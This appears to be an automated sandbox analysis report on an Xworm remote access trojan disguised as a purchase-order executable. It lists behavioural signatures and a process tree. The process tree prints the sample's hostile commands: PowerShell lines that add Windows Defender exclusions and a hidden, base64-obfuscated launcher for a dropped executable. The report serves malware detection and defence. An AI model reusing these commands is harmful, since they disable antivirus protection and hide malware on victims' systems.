Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
03/08/2026, 12:19
General
- Target Purchase Order B302607-842.exe
- Size 991KB
- Sample260803-phay4shd43
- SHA256 c1044fc6c772b3f0253347d5b62e203bcdc1eaf9efa4bec5932c4d32ca239562
Malware Config
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- SmartAssembly .NET packer 1 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious use of AdjustPrivilegeToken 28 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Purchase Order B302607-842.exe"C:\Users\Admin\AppData\Local\Temp\Purchase Order B302607-842.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Purchase Order B302607-842.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Creates a file in the Startup directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$tlwnw5=Get-Date;$e233xk=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$jqqdyk=3466;$0h0aiq=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEJobVlTbnljdk4uZXhl')));$1jw2x4=[System.Environment]::TickCount;& $e233xk -FilePath $0h0aiq"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\BhmYSnycvN.exe"C:\Users\Admin\AppData\Roaming\BhmYSnycvN.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\BhmYSnycvN.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_lgxayykf.4pq.ps1
BhmYSnycvN.exe
memory/1044-56-0x0000000006AF0000-0x0000000006B3C000-memory.dmp
memory/1044-54-0x0000000006150000-0x00000000064AB000-memory.dmp
memory/1044-57-0x00000000704A0000-0x00000000704EC000-memory.dmp
memory/1044-60-0x0000000007920000-0x00000000079C3000-memory.dmp
memory/1332-50-0x0000000074560000-0x0000000074D1C000-memory.dmp
memory/1332-13-0x0000000000400000-0x000000000041E000-memory.dmp
memory/1332-34-0x0000000074560000-0x0000000074D1C000-memory.dmp
memory/1332-17-0x0000000074560000-0x0000000074D1C000-memory.dmp
memory/1332-14-0x00000000056B0000-0x0000000005716000-memory.dmp
memory/1648-27-0x0000028E6B300000-0x0000028E6B322000-memory.dmp
memory/2820-23-0x0000000074560000-0x0000000074D1C000-memory.dmp
memory/2820-9-0x000000000B9F0000-0x000000000BA8C000-memory.dmp
memory/2820-1-0x0000000000F90000-0x000000000108E000-memory.dmp
memory/2820-2-0x00000000084E0000-0x0000000008A9A000-memory.dmp
memory/2820-3-0x0000000007FC0000-0x0000000008052000-memory.dmp
memory/2820-4-0x0000000074560000-0x0000000074D1C000-memory.dmp
memory/2820-5-0x00000000034E0000-0x00000000034EA000-memory.dmp
memory/2820-0-0x0000000074572000-0x0000000074573000-memory.dmp
memory/2820-6-0x00000000081C0000-0x00000000081DA000-memory.dmp
memory/2820-7-0x0000000074572000-0x0000000074573000-memory.dmp
memory/2820-8-0x0000000074560000-0x0000000074D1C000-memory.dmp
memory/2820-10-0x000000000BA90000-0x000000000BB40000-memory.dmp
memory/4580-41-0x0000000006E90000-0x0000000006EB0000-memory.dmp
memory/4580-45-0x0000000007060000-0x000000000706A000-memory.dmp
memory/4580-37-0x0000000006C50000-0x0000000006C86000-memory.dmp
memory/4580-15-0x0000000004F50000-0x000000000559A000-memory.dmp
memory/4580-25-0x0000000005CA0000-0x0000000005CBE000-memory.dmp
memory/4580-42-0x0000000006EB0000-0x0000000006F53000-memory.dmp
memory/4580-38-0x0000000074E20000-0x0000000074E6C000-memory.dmp
memory/4580-43-0x0000000007630000-0x0000000007CAC000-memory.dmp
memory/4580-44-0x0000000006FF0000-0x000000000700A000-memory.dmp
memory/4580-26-0x0000000006070000-0x00000000060BC000-memory.dmp
memory/4580-46-0x0000000007260000-0x00000000072F6000-memory.dmp
memory/4580-24-0x00000000058A0000-0x0000000005BFB000-memory.dmp
memory/4580-49-0x0000000074560000-0x0000000074D1C000-memory.dmp
memory/4580-20-0x0000000004E40000-0x0000000004EA6000-memory.dmp
memory/4580-19-0x0000000004DA0000-0x0000000004DC2000-memory.dmp
memory/4580-18-0x0000000074560000-0x0000000074D1C000-memory.dmp
memory/4580-12-0x0000000002450000-0x0000000002486000-memory.dmp
memory/4580-16-0x0000000074560000-0x0000000074D1C000-memory.dmp